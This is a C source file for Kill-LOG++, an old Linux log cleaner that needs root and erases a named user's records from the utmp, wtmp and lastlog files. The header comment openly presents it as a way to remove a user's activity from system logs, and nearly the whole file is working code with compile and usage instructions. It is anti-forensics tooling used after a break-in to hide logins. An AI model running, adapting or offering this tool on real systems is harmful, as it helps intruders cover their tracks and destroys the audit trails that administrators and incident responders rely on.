/*

  Kill-LOG++ v0.99b (fur linux)
  ----------------------------------------------------------------------------
  Written by (unknown), improved by lcamtuf at 07/07/97
  Tested on Red Hat 4.x with kernel v2.0.27 und v2.1.43
  ----------------------------------------------------------------------------
  Thiz prog removes user's activity from system logs. Root required :-)
  Compilation: "gcc -o killlog killlog.c" (no warn mesgs)
  Usage: "./killlog username", eg. "./killlog angel"
  ----------------------------------------------------------------------------
  On some jerky linuxes you should use "find / -name xxxx" (where xxxx means
  wtmp, utmp and lastlog) to locate logfiles in your system, then recompile
  Kill-LOG++ with correct paths:

  gcc -o killlog killlog.c -DWTMP=\"path_to_wtmp\" -DUTMP=\"path_to_utmp\"
                           -DLAST=\"path_to_lastlog\"

*/


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>


#ifndef WTMP
  #define WTMP "/var/log/wtmp"
#endif

#ifndef UTMP
  #define UTMP "/var/run/utmp"
#endif

#ifndef LAST
  #define LAST "/var/log/lastlog"
#endif


int f,err=0;

 
void kill_utmp(char *who) {
  struct utmp utmp_ent;
  printf("Cleaning utmp... ");
  if ((f=open(UTMP,O_RDWR))>=0) {
    while(read(f,&utmp_ent,sizeof(utmp_ent))>0)
      if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
        bzero((char *)&utmp_ent,sizeof(utmp_ent));
        lseek(f,-sizeof(utmp_ent),SEEK_CUR);
        write(f,&utmp_ent,sizeof(utmp_ent));
      }
    close(f);
    printf("done.\n");
  } else {
    printf("unable to open logfile.\n");
    err=3;
  }
}
 

void kill_wtmp(char *who) {
  struct utmp utmp_ent;
  long pos=1L;
  printf("Cleaning wtmp... ");
  if ((f=open(WTMP,O_RDWR))>=0) {
    while(pos!=-1L) {
      lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND);
      if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L;
        else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
          bzero((char *)&utmp_ent,sizeof(struct utmp));
          lseek(f,-((sizeof(struct utmp))*pos),L_XTND);
          write(f,&utmp_ent,sizeof(utmp_ent));
          pos=-1L;
        } else pos+=1L;
    }
    close(f);
    printf("done.\n");
  } else {
    printf("unable to open logfile.\n");
    err=4;
  }
}

 
void kill_lastlog(char *who) {
  struct passwd *pwd;
  struct lastlog newll;
  printf("Cleaning lastlog... ");
  if ((pwd=getpwnam(who))!=NULL) {
    if ((f=open(LAST,O_RDWR))>=0) {
      lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
      bzero((char *)&newll,sizeof(newll));
      write(f,(char *)&newll,sizeof(newll));
      close(f);
      printf("done.\n");
    } else {
      printf("unable to open logfile.\n");
      err=2;
    }
  } else {
    printf("user not found.\n");
    err=1;
  }
}


int main(int argc,char *argv[]) {
  printf("\nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)\n");
  if (argc!=1) {
    printf("----------\nRemoving user's activity from logs.\n",argv[1]);
    kill_lastlog(argv[1]);
    if (!err) kill_wtmp(argv[1]);
    if (!err) kill_utmp(argv[1]);
    if (!err) printf("Cool! Everything is ok.\n");
      else printf("Damn! Something fucked up.\n"); 
    printf("----------\n\n");
  } else printf("Usage: %s username\n\n",argv[0]);
  return err;
}
